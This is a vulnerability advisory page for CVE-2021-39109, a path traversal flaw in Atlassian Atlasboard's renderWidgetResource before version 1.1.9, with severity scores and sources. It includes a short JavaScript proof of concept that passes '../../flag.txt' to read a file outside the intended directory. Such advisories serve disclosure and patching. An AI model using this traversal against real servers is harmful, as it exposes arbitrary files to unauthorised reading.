CVE-2021-39109
JSON

7.5high

Path traversal in atlasboard

Severity
7.5high CVSS:3.1 by CISA-ADP
Exploit likelihood
1.67% (higher than 77% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
atlassian
Also known as
GHSA-25pr-6pr6-68v7

Description

The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.

Affected

Product or packageVersionsReported by
Atlassian Atlasboardfrom unspecified before 1.1.9, before 1.1.9CVE List, NVD
atlasboard (npm)before 1.1.9GitHub Advisory Database

All scores

CISA-ADP7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
GitHub7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
NVD7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
NVD5.0medium CVSS:2.0AV:N/AC:L/Au:N/C:P/I:N/A:N

Classification

CWE-22

SSVC (CISA-ADP): exploitation none, automatable yes, technical impact partial.

What each source says

CVE List

The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.

GitHub Advisory Database

The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.

PoC
const widget = require(\"atlasboard/lib/webapp/routes/widget\");

// Mock req and res
const req = {};
const res = {
  sendFile: (filePath) => {
    // Read and return file contents synchronously
    const data = fs.readFileSync(filePath, \"utf8\");
    console.log(\"Contents of /flag.txt:\");
    console.log(data);
  },
  status: function (code) {
    this.statusCode = code;
    return this;
  },
  send: function (msg) {
    throw new Error(`Server responded with status ${this.statusCode}: ${msg}`);
  },
};

// localPackagesPath set to root to allow traversal to /flag.txt
const localPackagesPath = \"/\";

// resource string with path traversal to escape localPackagesPath and widgets directory
const resource = \"../../flag.txt\";

// Call vulnerable function
await widget.renderWidgetResource(localPackagesPath, resource, req, res);
NVD (es)

El recurso renderWidgetResource en Atlasian Atlasboard versiones anteriores a 1.1.9, permite a atacantes remotos leer archivos arbitrarios por medio de una vulnerabilidad de salto de ruta

References

Sources

SourceRecordLicence
CVE ListCVE-2021-39109 changed 2024-10-11CVE Terms of Use
GitHub Advisory DatabaseGHSA-25pr-6pr6-68v7 changed 2025-09-29CC-BY-4.0
NVDCVE-2021-39109 changed 2026-06-17Public domain